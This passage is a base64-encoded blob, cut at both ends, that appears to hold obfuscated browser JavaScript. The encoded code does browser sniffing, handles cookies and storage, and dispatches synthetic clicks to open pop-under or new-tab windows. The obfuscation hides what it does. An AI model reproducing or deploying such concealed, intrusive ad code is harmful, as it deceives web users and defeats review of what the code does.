13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK